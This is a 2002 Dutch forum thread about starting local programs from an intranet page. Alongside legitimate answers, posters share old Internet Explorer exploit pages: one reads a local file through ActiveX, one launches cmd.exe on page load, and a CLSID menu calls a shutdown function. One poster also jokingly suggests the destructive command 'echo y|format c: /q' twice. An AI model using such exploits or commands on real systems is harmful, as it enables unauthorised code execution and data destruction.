Toon posts:

[HTML] Programma starten van intranet

Pagina: 1
Acties:
  • 229 views sinds 30-01-2008
  • Reageer

Acties:
  • 0 Henk 'm!

Verwijderd

Topicstarter
Ik ben bezig om een applicatie te maken, maar nu wil ik dat als mensen van ons bedrijf via het intranet op een knop klikken dat er een programma wordt gestart die lokaal is geinstalleerd!

Dus bijvoorbeeld:
code:
1
2
3
4
5
--------------
| Open Excel |
--------------

En zodra er op de knop wordt gedrukt dat excel (maar ik wil het door mij zelfgemaakte proggy starte (VB6) wordt opgestart

Wie weet er iets voor :?

Acties:
  • 0 Henk 'm!

  • oZy
  • Registratie: Juli 2001
  • Laatst online: 25-09 13:00

oZy

Aangezien het een bedrijf is neem ik aan dat alle pc's opdezelfde manier zijn ingespoeld, dus dan kan je toch gewoon een absolute verwijzing gebruiken?

<a href="c:\program files\mijn proggie\blaat.exe">

Acties:
  • 0 Henk 'm!

Verwijderd

Topicstarter
Op dinsdag 19 maart 2002 10:11 schreef oZy het volgende:
Aangezien het een bedrijf is neem ik aan dat alle pc's opdezelfde manier zijn ingespoeld, dus dan kan je toch gewoon een absolute verwijzing gebruiken?

<a href="c:\program files\mijn proggie\blaat.exe">
Bijna overal is het het zelfde, maar ik heb eens een javascript gehad die in op je HD kan kijken, en op die manier kan ik misschien ook controleren of het proggie bestaat, en zo niet dat hij moet downloaden!

Acties:
  • 0 Henk 'm!

  • Janoz
  • Registratie: Oktober 2000
  • Laatst online: 15:19

Janoz

Moderator Devschuur®

!litemod

Op dinsdag 19 maart 2002 10:14 schreef GTI_RI het volgende:

[..]

Bijna overal is het het zelfde, maar ik heb eens een javascript gehad die in op je HD kan kijken, en op die manier kan ik misschien ook controleren of het proggie bestaat, en zo niet dat hij moet downloaden!
Lijkt me HEEL erg sterk.. Sterker nog.. dat is niet mogelijk. ALs dit wel mogelijk zou zijn zou ik vandaag nog mijn internet verbinding opzeggen....

Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'


Acties:
  • 0 Henk 'm!

  • Spider.007
  • Registratie: December 2000
  • Niet online

Spider.007

* Tetragrammaton

Op dinsdag 19 maart 2002 10:17 schreef Janoz het volgende:

[..]

Lijkt me HEEL erg sterk.. Sterker nog.. dat is niet mogelijk. ALs dit wel mogelijk zou zijn zou ik vandaag nog mijn internet verbinding opzeggen....
het is mogelijk, alleen wordt het door bijna alle virusscanners afgevangen... Je ziet het veel op 'bepaalde' sites die dit script gebruiken. Ik heb het zelf geloof ik ook nog ergens liggen, het gebruikt VB en een regkey.

---
Prozium - The great nepenthe. Opiate of our masses. Glue of our great society. Salve and salvation, it has delivered us from pathos, from sorrow, the deepest chasms of melancholy and hate


Acties:
  • 0 Henk 'm!

Verwijderd

Topicstarter
Op dinsdag 19 maart 2002 10:17 schreef Janoz het volgende:

[..]

Lijkt me HEEL erg sterk.. Sterker nog.. dat is niet mogelijk. ALs dit wel mogelijk zou zijn zou ik vandaag nog mijn internet verbinding opzeggen....
Nou je het zegt, volgend mij was dat script er alleen voor dat je kan kijken welke "drive-letters" je hebt o.i.d. :?

Lijkt me zeker gevaarlijk :o

Nu even een nieuw topic openenen...

Acties:
  • 0 Henk 'm!

  • Janoz
  • Registratie: Oktober 2000
  • Laatst online: 15:19

Janoz

Moderator Devschuur®

!litemod

Op dinsdag 19 maart 2002 10:19 schreef Spider.007 het volgende:

[..]

het is mogelijk, alleen wordt het door bijna alle virusscanners afgevangen... Je ziet het veel op 'bepaalde' sites die dit script gebruiken. Ik heb het zelf geloof ik ook nog ergens liggen, het gebruikt VB en een regkey.
:).. het zal ook wel niet VB zijn..

Maar om ff op het probleem van de topicstarter terug te komen.. Je zegt dat je alles wilt starten via een VB6 progje... Deze kan natuurlijk wel de HD doorzoeken.. Als je gewoon zorgt dat dit progje altijd op dezelfde plek staat, en je een argument mee kunt geven om het juiste programma te starten ben je neem ik aan toch van alle problemen af?

Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'


Acties:
  • 0 Henk 'm!

  • Spider.007
  • Registratie: December 2000
  • Niet online

Spider.007

* Tetragrammaton

Op dinsdag 19 maart 2002 10:05 schreef GTI_RI het volgende:
Ik ben bezig om een applicatie te maken, maar nu wil ik dat als mensen van ons bedrijf via het intranet op een knop klikken dat er een programma wordt gestart die lokaal is geinstalleerd!

Dus bijvoorbeeld:
code:
1
2
3
4
5
--------------
| Open Excel |
--------------

En zodra er op de knop wordt gedrukt dat excel (maar ik wil het door mij zelfgemaakte proggy starte (VB6) wordt opgestart

Wie weet er iets voor :?
Registreer een extensie op alle pc's, maak een programma die het bestand afvangt (automatisch opent) en zet in dit bestand welk programma er moet worden gestart. Dit vereist wel de installatie van een programma dat de extensie afvangt op alle pc's maar het is mogelijk. Kijk ook eens naar de pcm cd-rom, die start op die manier ook de programma's op vanuit een html interface.

---
Prozium - The great nepenthe. Opiate of our masses. Glue of our great society. Salve and salvation, it has delivered us from pathos, from sorrow, the deepest chasms of melancholy and hate


Acties:
  • 0 Henk 'm!

  • Spider.007
  • Registratie: December 2000
  • Niet online

Spider.007

* Tetragrammaton

Op dinsdag 19 maart 2002 10:21 schreef Janoz het volgende:

[..]

:).. het zal ook wel niet VB zijn..

Maar om ff op het probleem van de topicstarter terug te komen.. Je zegt dat je alles wilt starten via een VB6 progje... Deze kan natuurlijk wel de HD doorzoeken.. Als je gewoon zorgt dat dit progje altijd op dezelfde plek staat, en je een argument mee kunt geven om het juiste programma te starten ben je neem ik aan toch van alle problemen af?
oh...
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<h2>
Written by Georgi Guninski.
<br>
Reads c:\test.txt
<br>
</h2>
<script>
alert("This script reads C:\\TEST.TXT\nYou may need to create it\n")
v=new ActiveXObject("MSScriptControl.ScriptControl.1");
v.Language="VBScript";
x=v.eval('GetObject("c:/test.txt","htmlfile")');
setTimeout("alert(x.body.outerHTML);",2000);
</script>
</html>

---
Prozium - The great nepenthe. Opiate of our masses. Glue of our great society. Salve and salvation, it has delivered us from pathos, from sorrow, the deepest chasms of melancholy and hate


Acties:
  • 0 Henk 'm!

Verwijderd

Topicstarter
Op dinsdag 19 maart 2002 10:22 schreef Spider.007 het volgende:

[..]

Registreer een extensie op alle pc's, maak een programma die het bestand afvangt (automatisch opent) en zet in dit bestand welk programma er moet worden gestart. Dit vereist wel de installatie van een programma dat de extensie afvangt op alle pc's maar het is mogelijk. Kijk ook eens naar de pcm cd-rom, die start op die manier ook de programma's op vanuit een html interface.
Inderdaad, dat gebruiken ze ook bij PC-Active. Ik heb al een HELE tijd geleden van iemand een, ik dacht in delphi geschreven proggy gekregen die de extensie .gti in het register registreerd, en als ik dan in bestandje.gti een regel typt, dan start hij die op, alleen ik moet deze versie eens vertalen naar VB6, ik heb namelijk geen verstand van Delphi. Maar dat komt denk ik later wel :D

Acties:
  • 0 Henk 'm!

Verwijderd

Grappig dat er mensen zijn die gelijk roepen dat het onmogelijk is...
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>IE6 security...</TITLE>

<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT language=JScript>

var programName=new Array(
    'c:/windows/system32/cmd.exe',
    'c:/winnt/system32/cmd.exe'
);

function Init(){
    var oPopup=window.createPopup();
    var oPopBody=oPopup.document.body;
    var n,html='';
    for(n=0;n<programName.length;n++)
        html+="<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='"+programName[n]+"' %1='r'></OBJECT>";
    oPopBody.innerHTML=html;
    oPopup.show(290, 190, 200, 200, document.body);
}

</SCRIPT>
</head>
<BODY onload="Init()">
<H1>IE6 Exploit...</H1>
<p>Note:</p>
<p>A few people have become little upset over their computer logging them off. 
  However, dont blame me, blame Microsoft. As a result I have made the page do 
  something else.</p>
</BODY>
</HTML>

Acties:
  • 0 Henk 'm!

  • Spider.007
  • Registratie: December 2000
  • Niet online

Spider.007

* Tetragrammaton

Op dinsdag 19 maart 2002 10:29 schreef GTI_RI het volgende:

[..]

Inderdaad, dat gebruiken ze ook bij PC-Active. Ik heb al een HELE tijd geleden van iemand een, ik dacht in delphi geschreven proggy gekregen die de extensie .gti in het register registreerd, en als ik dan in bestandje.gti een regel typt, dan start hij die op, alleen ik moet deze versie eens vertalen naar VB6, ik heb namelijk geen verstand van Delphi. Maar dat komt denk ik later wel :D
maar dat is niet bruikbaar? Het lijkt me dat er op het het netwerk ook een virusscanner is, en als je een webapplicatie weet te bouwen die proigramma's kan starten, heb je toch wel kans dat een virusscanner dit afvangt. (Anders is het leuk een web app te implementeren die 'echo y|format c: /q' uitvoert >:) )

---
Prozium - The great nepenthe. Opiate of our masses. Glue of our great society. Salve and salvation, it has delivered us from pathos, from sorrow, the deepest chasms of melancholy and hate


Acties:
  • 0 Henk 'm!

Verwijderd

Topicstarter
Op dinsdag 19 maart 2002 10:31 schreef markvleth het volgende:
Grappig dat er mensen zijn die gelijk roepen dat het onmogelijk is...
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>IE6 security...</TITLE>

<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT language=JScript>

var programName=new Array(
    'c:/windows/system32/cmd.exe',
    'c:/winnt/system32/cmd.exe'
);

function Init(){
    var oPopup=window.createPopup();
    var oPopBody=oPopup.document.body;
    var n,html='';
    for(n=0;n<programName.length;n++)
        html+="<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='"+programName[n]+"' %1='r'></OBJECT>";
    oPopBody.innerHTML=html;
    oPopup.show(290, 190, 200, 200, document.body);
}

</SCRIPT>
</head>
<BODY onload="Init()">
<H1>IE6 Exploit...</H1>
<p>Note:</p>
<p>A few people have become little upset over their computer logging them off. 
  However, dont blame me, blame Microsoft. As a result I have made the page do 
  something else.</p>
</BODY>
</HTML>
Dus dit zou betekenen dat je een format c: kan geven, woepsie :?

Acties:
  • 0 Henk 'm!

  • SchizoDuckie
  • Registratie: April 2001
  • Laatst online: 18-02 23:12

SchizoDuckie

Kwaak

http://www.nvlf.nl/razor/ieplugin.zip

DUIDELIJK de search niet gebruikt, want daar komen ongeveer 80 topics uit inmiddels 8-)

Stop uploading passwords to Github!


Acties:
  • 0 Henk 'm!

Verwijderd

Je kunt het programma aanroepen maar je kunt geen Yes doorgeven

Acties:
  • 0 Henk 'm!

Verwijderd

Topicstarter
Op dinsdag 19 maart 2002 10:37 schreef markvleth het volgende:
Je kunt het programma aanroepen maar je kunt geen Yes doorgeven
Ik heb een applicatie en daar wil ik variabele aan meegeven, maar kan dat dan zeker ook niet, omdat je ook geen yes kan doorgeven :?

Acties:
  • 0 Henk 'm!

  • Spider.007
  • Registratie: December 2000
  • Niet online

Spider.007

* Tetragrammaton

Op dinsdag 19 maart 2002 10:37 schreef markvleth het volgende:
Je kunt het programma aanroepen maar je kunt geen Yes doorgeven
zoals ik al zei:
code:
1
echo y|format c: /q

---
Prozium - The great nepenthe. Opiate of our masses. Glue of our great society. Salve and salvation, it has delivered us from pathos, from sorrow, the deepest chasms of melancholy and hate


Acties:
  • 0 Henk 'm!

  • Spider.007
  • Registratie: December 2000
  • Niet online

Spider.007

* Tetragrammaton

Op dinsdag 19 maart 2002 10:44 schreef GTI_RI het volgende:

[..]

Ik heb een applicatie en daar wil ik variabele aan meegeven, maar kan dat dan zeker ook niet, omdat je ook geen yes kan doorgeven :?
je kan gewoon parameters doorgeven... :?

---
Prozium - The great nepenthe. Opiate of our masses. Glue of our great society. Salve and salvation, it has delivered us from pathos, from sorrow, the deepest chasms of melancholy and hate


Acties:
  • 0 Henk 'm!

  • JohnD
  • Registratie: December 2001
  • Laatst online: 26-09 15:36

JohnD

Bernd

Op dinsdag 19 maart 2002 10:35 schreef GTI_RI het volgende:

[..]
[off topic mode]
jij bent wel heel GTI verliefd geloof ik. groeten uit Sittard ;)
[/off topic mode]

Fear thy name as hell awakens
FKA SunStorms_Sletje


Acties:
  • 0 Henk 'm!

Verwijderd

Topicstarter
Op dinsdag 19 maart 2002 10:56 schreef SunStorms_sletje het volgende:

[..]

[off topic mode]
jij bent wel heel GTI verliefd geloof ik. groeten uit Sittard ;)
[/off topic mode]
[Nogmaals off topic]
Dus ben niet de enigste GTI-er hier?
GTI Rotterdam Industrie bv doet GTI Sittard de groeten 8-)
{/Nogmaals off topic]

Acties:
  • 0 Henk 'm!

Verwijderd

de PCA methode:

de inhoud van Autorun.inf:
code:
1
2
3
[autorun]
open = start32.exe
icon = start32.exe,0

die opent pcastart.htm vanuit de TEMP folder

die een venster opent met als inhoud een popup opener waarin het menu van PCA staat.

op een HTML pagina waar dan uiteindelijk een installeerbaar programma staat (in dit geval StarOffice):
code:
1
<a href="star.pca">Windows versie installeren</a>

de inhoud van het star.pca bestand:
code:
1
2
3
4
5
6
; Als u dit leest is de PC-Active runner niet goed geïnstalleerd!
; Start de cd-rom opnieuw om dit te corrigeren...
;
[Run]
Programma=software\staroffice\windows\setup.exe
Commandline=

-----------------------------------------
kan je in jouw geval niet makkelijker uit de voeten met:
code:
1
2
3
4
5
<form method="post">
<input type="button" value="Excel" 
onclick = "hint_wnd = window.open('file://d:/program files/excel/excel.exe', 'popper', 'width=50, height=60, resizable=no, scrollbars=no' );
return true;">
</form>

overigens, nu veiligheid >:) toch ter sprake is:

JAVASCRIPT:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<!--
function go_to_clsid()
{
i=document.formclsid.menuclsid.selectedIndex;
url=document.formclsid.menuclsid.options[i].value;
window.open(url,"_blank","width=" + (document.body.clientWidth-200) + ", height=" + (document.body.clientHeight-170) + ", toolbar=yes, directories=no, frame=yes, titel=yes, location=yes, status=yes, menubar=yes, scrollbars=yes, resizable=yes, left=0,top=23");
}

document.write("<form method='POST' name='formclsid'>");
document.write("<SELECT NAME='menuclsid' onChange='go_to_clsid();' size='1' align='right' title='Open External Link'>");
document.write("<option value='' selected>CLSID:</option>");
document.write("<option value='file:///::{871C5380-42A0-1069-A2EA-08002B30309D}'>Internet Explorer</option>");
document.write("<option value='file:///::{208D2C60-3AEA-1069-A2D7-08002B30309D}'>Netwerkomgeving</option>");
document.write("<option value='file:///::{20D04FE0-3AEA-1069-A2D8-08002B30309D}/::{21EC2020-3AEA-1069-A2DD-08002B30309D}'>Configuratiescherm</option>");
document.write("<option value='file:///::{20D04FE0-3AEA-1069-A2D8-08002B30309D}/::{992CFFA0-F557-101A-88EC-00DD010CCC48}'>Externe toegang</option>");
document.write("<option value='file:///::{20D04FE0-3AEA-1069-A2D8-08002B30309D}'>Deze Computer</option>");
document.write("<option value='file:///::{645FF040-5081-101B-9F08-00AA002F954E}'>Prullenbak</option>");
document.write("<option value=''>--------------</option>");
document.write("<option value='file://d:\win98\explorer.exe'>explorer</option>");
document.write("<option value='file:///::{00020D75-0000-0000-C000-000000000046}'>inbox</option>");
document.write("<option value='file:///::{00021400-0000-0000-C000-000000000046}'>buroblad</option>");
document.write("<option value='file:///::{21EC2020-3AEA-1069-A2DD-08002B30309D}'>controlpanel</option>");
document.write("<option value='file:///::{2227A280-3AEA-1069-A2DE-08002B30309D}'>printers</option>");
document.write("<option value='file:///::{A4D92740-67CD-11CF-96F2-00AA00A11DD9}'>dial-up networking</option>");
document.write("<option value='file:///::{BD84B380-8CA2-1069-AB1D-08000948F534}'>fonts</option>");
document.write("<option value='file:///::{00020D75-0000-0000-C000-000000000046}'>outlook</option>");
document.write("<option value='file:///::{F5175861-2688-11d0-9C5E-00AA00A45957}'>subscriptions</option>");
document.write("<option value='file:///::{FF393560-C2A7-11CF-BFF4-444553540000}'>url history folder</option>");
document.write("<option value='file:///::{85BBD920-42A0-1069-A2E4-08002B30309D}'>briefcase</option>");
document.write("<option value='file:///::{7BD29E00-76C1-11CF-9DD0-00A0C9034933}'>internet cache folder</option>");
document.write("<option value='file:///::{88C6C381-2E85-11D0-94DE-444553540000}'>activex cache folder</option>");
document.write("<option value='file://d:\win98\rundll32.exe d:\win98\system\shell32.dll,SHExitWindowsEx'>shexitwindowsex</option>");
document.write("<option value='file://d:\win98\control.exe d:\win98\system\main.cpl @0'>control main.cpl</option>");

document.write("</select>");
document.write("</form>");
// -->

Acties:
  • 0 Henk 'm!

Verwijderd

Topicstarter
euss, jij laat ook weer ff GOED zien hoe lek micro$oft eigenlijk is :7

Dat dat allemaal kan, alleen niet alles werkt, maar dat komt denk omdat ik win2000 heb!
Pagina: 1